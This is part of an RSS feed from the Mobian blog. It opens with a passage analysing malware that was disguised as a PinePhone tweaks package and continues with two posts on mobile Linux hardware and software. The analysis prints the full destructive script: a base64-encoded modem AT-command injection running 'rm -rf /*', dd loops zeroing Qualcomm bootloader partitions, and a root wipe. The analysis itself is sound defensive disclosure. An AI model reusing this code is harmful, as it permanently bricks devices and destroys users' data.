&lt;p&gt;This executable is, once again, a UPX-compressed file we can &lt;code&gt;strace&lt;/code&gt;
in order to retrieve the final script:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;msgcode1&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;i just want to say that i love my gf&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;msgcode2&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;purism why you still have not shipped the librem 5??? stop making money and ship your fucking phones!!!!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;$(&lt;/span&gt;date +&lt;span style=&#34;color:#66d9ef&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; -lt &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;$(&lt;/span&gt;date --date&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2022-02-07T03:00:00&amp;#34;&lt;/span&gt; +&lt;span style=&#34;color:#66d9ef&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;60&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;$(&lt;/span&gt;date +&lt;span style=&#34;color:#66d9ef&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; -gt &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;$(&lt;/span&gt;date --date&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2022-02-07T03:00:00&amp;#34;&lt;/span&gt; +&lt;span style=&#34;color:#66d9ef&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt; -e /dev/ttyUSB2 &lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	 &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt; eval &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;$(&lt;/span&gt;echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ZWNobyAtZSBBVCtRRlVNT0NGRz1cImRtYWNjXCIsXCJcYHNoIC1jIFwncm0gLXJmIC9cKlwnXGBcIlxcclxcbiA+IC9kZXYvdHR5VVNCMg==&amp;#34;&lt;/span&gt; | base64 -d&lt;span style=&#34;color:#66d9ef&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;; &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; &amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#66d9ef&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#75715e&#34;&gt;# remove qualcomm s/xbl&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; i in /dev/disk/by-partlabel/xbl*
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt; -e &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;$i&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; break
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		dd &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;/dev/zero of&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;/dev/disk/by-partlabel/&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;$i&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; true
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#66d9ef&#34;&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; i in /dev/disk/by-partlabel/sbl*
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt; -e &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;$i&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; break
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		dd &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;/dev/zero of&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;/dev/disk/by-partlabel/&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;$i&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; true
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#66d9ef&#34;&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#75715e&#34;&gt;# shellcheck disable=SC2115&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	rm -rf /*
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The first part is a wait loop: for some reason, the author wants its malware
to wait until 3am on Feb 7th before doing anything harmful.&lt;/p&gt;
&lt;p&gt;Past this date, it checks if there&amp;rsquo;s a &lt;code&gt;/dev/ttyUSB2&lt;/code&gt; device (one of the ports
exposed by the PinePhone&amp;rsquo;s modem, which can be used to send AT commands to the
modem), in which case another piece of obfuscated (base64-encoded) code is
executed. This data decodes into the following command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo -e AT+QFUMOCFG&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\&amp;#34;&lt;/span&gt;dmacc&lt;span style=&#34;color:#ae81ff&#34;&gt;\&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;\&amp;#34;\`&lt;/span&gt;sh -c &lt;span style=&#34;color:#ae81ff&#34;&gt;\&amp;#39;&lt;/span&gt;rm -rf /&lt;span style=&#34;color:#ae81ff&#34;&gt;\*\&amp;#39;\`\&amp;#34;\\&lt;/span&gt;r&lt;span style=&#34;color:#ae81ff&#34;&gt;\\&lt;/span&gt;n &amp;gt; /dev/ttyUSB2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This command basically executes the following on the modem, wiping out all
data:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sh -c &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;rm -rf /*&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The goal here is obviously to brick the modem to the point where it needs to be
manually put into EDL mode (by shorting 2 test points on the PinePhone&amp;rsquo;s main
board) in order to be reflashed.&lt;/p&gt;
&lt;p&gt;The next lines are even more vicious to some users: they clear any partition
which name starts with &lt;code&gt;xbl&lt;/code&gt; or &lt;code&gt;sbl&lt;/code&gt;. Those partitions can be present on
Qualcomm-based devices such as the OnePlus 6 or Pocophone F1. On those devices,
the bootloader(s) are closed-source, signed binaries installed on dedicated
partitions. Depending on the exact SoC used, those partitions can have various
names, for example here are the relevant ones from the OnePlus 6:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;xbl_a&lt;/code&gt; and &lt;code&gt;xbl_b&lt;/code&gt;: Qualcomm&amp;rsquo;s UEFI bootloader, sets up secure boot and
loads the next element in the boot chain&lt;/li&gt;
&lt;li&gt;&lt;code&gt;abl_a&lt;/code&gt; and &lt;code&gt;abl_b&lt;/code&gt;: Android bootloader (UEFI application executed by XBL),
loads and boots the kernel&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Deleting those partitions would therefore make the phone unable to boot &lt;strong&gt;at
all&lt;/strong&gt;, likely ending up permanently bricking the device.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Notes:&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;devices using a different Qualcomm SoC will likely have different
booloaders, just keep in mind those components are &lt;strong&gt;required&lt;/strong&gt; for the device
to boot at all&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;the OnePlus 6 uses an A/B partition scheme, devices not implementing this
feature will present the same partitions, minus the &lt;code&gt;_a&lt;/code&gt; and &lt;code&gt;_b&lt;/code&gt; suffixes&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;code&gt;sbl&lt;/code&gt; partitions are not present on the OnePlus 6 but can exist on devices
with a different Qualcomm SoC&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Finally, the script (tries to) delete the whole system currently running on the
phone.&lt;/p&gt;
&lt;h1 id=&#34;why-it-doesnt-work&#34;&gt;Why it doesn&amp;rsquo;t work&lt;/h1&gt;
&lt;p&gt;This malware has obviously not been really tested and exhibits a major flaw:
the multiple levels of encapsulation (a shell script converted to an executable
binary using &lt;code&gt;shc&lt;/code&gt;, then encoded into base64 and included into another script,
again converted to an executable binary) lead to a very large payload in
&lt;code&gt;pp-tweaks-postinstall&lt;/code&gt;. When executed, it exits with the following error:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mobian@mobian:~$ ./pp-tweaks-postinstall
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./pp-tweaks-postinstall: Argument list too long: /bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This means the malware (&lt;code&gt;/usr/lib/gtk-3.0/gtk-helper&lt;/code&gt;) cannot be extracted nor
installed, and so shouldn&amp;rsquo;t cause any trouble.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Warning: this stunt has been performed by trained and experienced developers,
don&amp;rsquo;t try this at home!&lt;/strong&gt;&lt;/p&gt;
&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;This malware is nothing more than an angry script-kiddy trying to clumsily
exploit a known security vulnerability. The techniques used are rather basic
and the lack of proper testing basically voids the whole effort.&lt;/p&gt;
&lt;p&gt;This attempt fuels the often-heard advice that one shouldn&amp;rsquo;t blindly accept
gifts from strangers, which proves even more true when dealing with software.
Protecting oneself from such &amp;ldquo;attacks&amp;rdquo; is, in the end, as simple as following
those rules:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;never run a program from an unknown source, unless a trustworthy entity had
a chance to analyze its source code and check it would indeed perform the
function it&amp;rsquo;s advertised for without causing any harm to the user or its
system&lt;/li&gt;
&lt;li&gt;by extension, never install a package from an unknown and/or untrusted source&lt;/li&gt;
&lt;li&gt;do not execute any software as &lt;code&gt;root&lt;/code&gt; unless you&amp;rsquo;re absolutely convinced it
can be trusted&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This episode also emphasizes the lack of diligence from Quectel in fixing a
known vulnerability. Thankfully, the community (personified in this case by
&lt;a href=&#34;https://github.com/Biktorgj&#34;&gt;@biktorgj&lt;/a&gt;) has developed an
&lt;a href=&#34;https://github.com/Biktorgj/pinephone_modem_sdk&#34;&gt;alternative firmware&lt;/a&gt; for the
modem used by both the PinePhone and PinePhone Pro, in which this vulnerability
has been patched out.&lt;/p&gt;
&lt;p&gt;One question remains, though: who the hell is this Diana?&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://xkcd.com/356/&#34;&gt;https://xkcd.com/356/&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Game Changers</title>
      <link>https://blog.mobian.org/posts/2022/02/04/game-changers/</link>
      <pubDate>Fri, 04 Feb 2022 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2022/02/04/game-changers/</guid>
      <description>&lt;p&gt;While mildly working on and playing with the
&lt;a href=&#34;https://blog.mobian.org/posts/2021/12/28/pinephone-pro/&#34;&gt;PinePhone Pro&lt;/a&gt;, I recently got amazed at how
pleasant to use this device was, and how little work it took us to get to this
point!&lt;/p&gt;
&lt;h1 id=&#34;clever-choices&#34;&gt;Clever choices&lt;/h1&gt;
&lt;p&gt;Don&amp;rsquo;t get me wrong, the fact that the
&lt;a href=&#34;https://www.pine64.org/pinephonepro/&#34;&gt;PinePhone Pro&lt;/a&gt; is already quite usable
(to the point where the bravest could probably daily-drive it &amp;ndash; I actually did
for a whole week!) is the result of countless hours of engineering, most of
those having happened before the Developer Edition even shipped, in good part
thanks to the combined efforts of &lt;a href=&#34;http://xnux.eu/&#34;&gt;@megi&lt;/a&gt; and
&lt;a href=&#34;https://mastodon.online/web/@martijnbraam@fosstodon.org&#34;&gt;@MartijnBraam&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s also the result of very clever choices made by
&lt;a href=&#34;https://www.pine64.org&#34;&gt;Pine64&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;design the device around the RockChip RK3399, a very well-known and supported
SoC in mainline Linux and u-boot&lt;/li&gt;
&lt;li&gt;use the modem we already know (and, at times, hate) from the
&lt;a href=&#34;https://www.pine64.org/pinephone/&#34;&gt;OG PinePhone&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;choose peripheral chips identical to those used on the OG PinePhone
(flashlight, accelerometer&amp;hellip;) or already well supported upstream (audio
codec)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This definitely eased the initial bringup process and allowed us to enable
several useful features very quickly. However, the most amazing part of this
whole process is the maturity of the whole software ecosystem when compared
to what we experienced in the days of the BraveHeart Edition PinePhone!&lt;/p&gt;
&lt;h1 id=&#34;if-you-build-it-they-will-come&#34;&gt;If you build it, they will come&lt;/h1&gt;
&lt;p&gt;Two years ago, when first starting working on the OG PinePhone, the available
software targeting mobile phones was a bit rough around the edges, to say the
least:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://puri.sm/posts/phosh-overview/&#34;&gt;Phosh&lt;/a&gt; was barely past the
proof-of-concept stage&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://plasma-mobile.org/&#34;&gt;Plasma Mobile&lt;/a&gt; wasn&amp;rsquo;t very usable, although
things improved quickly&lt;/li&gt;
&lt;li&gt;mobile-friendly apps were few, and often needed a number of downstream
patches to be usable on phones&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With the exception of &lt;a href=&#34;https://ubports.com/&#34;&gt;UBPorts&lt;/a&gt;/Lomiri, the FLOSS
ecosystem clearly wasn&amp;rsquo;t ready for the PinePhone! However, give enough
developers an itch to collectively scratch, and they&amp;rsquo;ll each do their part.&lt;/p&gt;
&lt;p&gt;And that&amp;rsquo;s &lt;em&gt;precisely&lt;/em&gt; what made the PinePhone instrumental in improving the
mobile Linux ecosystem: by providing a low-cost (yet usable) device able to run
a &amp;ldquo;real&amp;rdquo; (as opposed to Android, for example) Linux system, it ended up in the
hands of many FLOSS developers, each with their own wishes and requirements.
This obviously resulted in more available brains to work on those matters, and
accelerated the development of software targeting mobile phones.&lt;/p&gt;
&lt;p&gt;Not every PinePhone owner was a developer though, and non-dev users also did
help improving the ecosystem: first by bugging us enough so we would address
(and usually fix) their problems, but also by simply increasing the demand for
mobile-friendly and/or adaptive applications. This prompted more developers of
pre-existing apps to ensure their software would be usable on our tiny,
touchscreen-based devices.&lt;/p&gt;
&lt;h1 id=&#34;with-great-power-comes-great-software&#34;&gt;With great power, comes great software&lt;/h1&gt;
&lt;p&gt;While access to hardware and applications availability are both important for
Linux to successfully conquer mobile devices, building a full mobile
environment is a huge task, not easily achieved by relying only on volunteers&#39;
efforts.&lt;/p&gt;
&lt;p&gt;Enters &lt;a href=&#34;https://puri.sm&#34;&gt;Purism&lt;/a&gt;: unlike Pine64, they actually have a number of
highly skilled software developers and designers on their payroll. That alone
made a huge difference for the whole ecosystem: instead of focusing solely on
their own &lt;a href=&#34;https://puri.sm/products/librem-5/&#34;&gt;Librem 5&lt;/a&gt;, Purism employees did
(and continue to) spend their working hours developing Phosh and its siblings
in the open, giving mobile users a usable, fast-evolving, community-friendly
graphical environment they could use on any decent smartphone running mainline
Linux.&lt;/p&gt;
&lt;p&gt;Likewise, mobile devices need applications, and Purism led the way on that front
too: by working on &lt;a href=&#34;https://gitlab.gnome.org/GNOME/libhandy&#34;&gt;libhandy&lt;/a&gt;, then
&lt;a href=&#34;https://gitlab.gnome.org/GNOME/libadwaita&#34;&gt;libadwaita&lt;/a&gt; and pushing for their
adoption by the wider GNOME community, they paved the way for a brighter future
for both mobile and desktop Linux users.&lt;/p&gt;
&lt;p&gt;In the end, the software ecosystem initially developed for the Librem 5 has been
widely adopted by the mobile Linux community and made its way into most of the
distributions targeting such devices. The way all those building blocks evolved
over the past two years, thanks to the combined efforts of volunteers and paid
developers, now allows us to provide an enjoyable user experience with minimal
efforts, even on a new device such as the PinePhone Pro!&lt;/p&gt;
&lt;h1 id=&#34;complement-not-compete&#34;&gt;Complement, not compete&lt;/h1&gt;
&lt;p&gt;As the Librem 5 and PinePhone (including the Pro version) are the only
Linux-first smartphones currently available for new purchases, people tend to
compare those directly, more often than not criticizing Purism for the
(admittedly high) price of their smartphone. Those comparisons generally miss
the point by ignoring the different cost structure for each device, and
specifically the cost of software engineering Purism is funding (trust me,
engineering time is not cheap).&lt;/p&gt;
&lt;p&gt;But more importantly, those are not random smartphones, designed with planned
obsolescence in mind and eager to capture every single bit of data your digital
life can generate. Both the Librem 5 and the PinePhone are privacy-respecting,
empowering smartphones, and complement each other very well:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PinePhone users provide a large enough user base so bugs can be tracked down
and fixed over time&lt;/li&gt;
&lt;li&gt;PinePhone developers contribute fixes and features to the Phosh software
stack&lt;/li&gt;
&lt;li&gt;Librem 5 users indirectly fund the software development effort&lt;/li&gt;
&lt;li&gt;Librem 5 developers provide the whole community with quality software and
lead the GNOME transition to mobile-friendly applications&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Whatever device you may choose and/or prefer, both should be acknowledged for
what they are: game changers which helped shape the mobile Linux community
each in their own way, and will likely keep doing so for many years to come.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>The PinePhone Pro is here (and it runs Mobian!)</title>
      <link>https://blog.mobian.org/posts/2021/12/28/pinephone-pro/</link>
      <pubDate>Tue, 28 Dec 2021 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2021/12/28/pinephone-pro/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://blog.mobian.org/images/ppp-features.png&#34; alt=&#34;PinePhone Pro Features&#34;&gt;&lt;/p&gt;
&lt;p&gt;Pine64 &lt;a href=&#34;https://www.pine64.org/2021/10/15/october-update-introducing-the-pinephone-pro/&#34;&gt;recently announced&lt;/a&gt;
the &lt;a href=&#34;https://www.pine64.org/pinephonepro/&#34;&gt;PinePhone Pro&lt;/a&gt;, a significantly upgraded version
of their &lt;a href=&#34;https://www.pine64.org/pinephone/&#34;&gt;PinePhone&lt;/a&gt;. As developers started receiving
their devices earlier this month, significant progress have been made already to get
existing mobile distributions, including Mobian, to run on this new Linux phone. Keep
reading for the latest status updates on the PinePhone Pro support.&lt;/p&gt;
&lt;h2 id=&#34;initial-hardware-enablement&#34;&gt;Initial hardware enablement&lt;/h2&gt;
&lt;p&gt;The PinePhone Pro was designed in such a way that it is an easy device to work with: it is
based on a Rockchip RK3399 SoC, for which mainline kernel support is really good, and
switched to a Broadcom/Cypress WiFi/Bluetooth chipset, supported by the mailine &lt;code&gt;bcrmfmac&lt;/code&gt;
kernel driver. Moreover, the modem is the same model as the one used in the OG PinePhone:
despite its numerous drawbacks, it is a well-known unit and we can already provide
workarounds for its most significant issues.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://xnux.eu/&#34;&gt;@megi&lt;/a&gt; and &lt;a href=&#34;https://mastodon.online/web/@martijnbraam@fosstodon.org&#34;&gt;@MartijnBraam&lt;/a&gt;,
which both had access to early prototypes of this device, did an awesome job at bringing
up the device and providing patches for u-boot and the Linux kernel. This allowed
distribution developers to boot the PinePhone Pro with very little effort and start
improving on an already solid basis.&lt;/p&gt;
&lt;p&gt;As a matter of fact, only a few hours were necessary to craft a Mobian image able to boot
into Phosh on the PinePhone Pro! Making the notification LEDs, flash light and orientation
sensors to work as nicely as they do on the OG PinePhone was only a matter of few more
hours (if not minutes) of additional hacking.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://blog.mobian.org/images/ppp-first-mobian-boot.png&#34; alt=&#34;PinePhone Pro booting Mobian&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;getting-4glte-connectivity&#34;&gt;Getting 4G/LTE connectivity&lt;/h2&gt;
&lt;p&gt;As mentioned above, the PinePhone Pro uses the same exact modem as the OG PinePhone.
As a consequence, only a limited amount of software changes were necessary to get it to
work on Mobian. Using the latest versions of both ModemManager and eg25-manager, the
modem is automatically powered on and able to connect to 4G networks, with both SMS/MMS
and mobile data being fully functional.&lt;/p&gt;
&lt;h2 id=&#34;giving-and-receiving-phone-calls&#34;&gt;Giving and receiving phone calls&lt;/h2&gt;
&lt;p&gt;Phone calls are another problem, as those require routing audio properly. A significant
difference with the OG PinePhone is that the modem audio isn&amp;rsquo;t routed through the SoC&amp;rsquo;s
digital audio interface, but instead the modem is connected to a dedicated audio codec.
This codec transforms the digital audio signal coming to/from the modem into/from analog
audio connected to the main audio codec analog in/out ports.&lt;/p&gt;
&lt;p&gt;This helps with some of the OG PinePhone issues (audio quality), but also requires
careful attention to the overall audio configuration. Fortunately, the RK3399 audio
interface, as well as the ALC5640 codec, are both very well supported by mainline kernels.
megi had already added the necessary device-tree bits, so all we had to do was adapt
eg25-manager so it configured the modem to use its dedicated audio codec, and write ALSA
UCM profiles for proper audio routing during phone calls.&lt;/p&gt;
&lt;p&gt;The latter was the hardest part, although by taking inspiration from the existing UCM
profiles for other devices using the ALC5640 codec, and a few evenings going through the
codec&amp;rsquo;s datasheet and a lot of trial &amp;amp; error, we were able to implement audio routing
for both &amp;ldquo;normal&amp;rdquo; use and phone calls, including support for the internal earpiece,
speaker and microphone as well as headphones and headset microphone.&lt;/p&gt;
&lt;h2 id=&#34;reviving-cross-distro-collaboration&#34;&gt;Reviving cross-distro collaboration&lt;/h2&gt;
&lt;p&gt;While there always was some level of collaboration between projects for the OG PinePhone,
such effort had somewhat stalled once we had solved the most urgent issues, leading to
downstream kernel patches piling up with only very few of those being successfully
upstreamed.&lt;/p&gt;
&lt;p&gt;As an unintended, yet extremely positive, side-effect of the PinePhone Pro release,
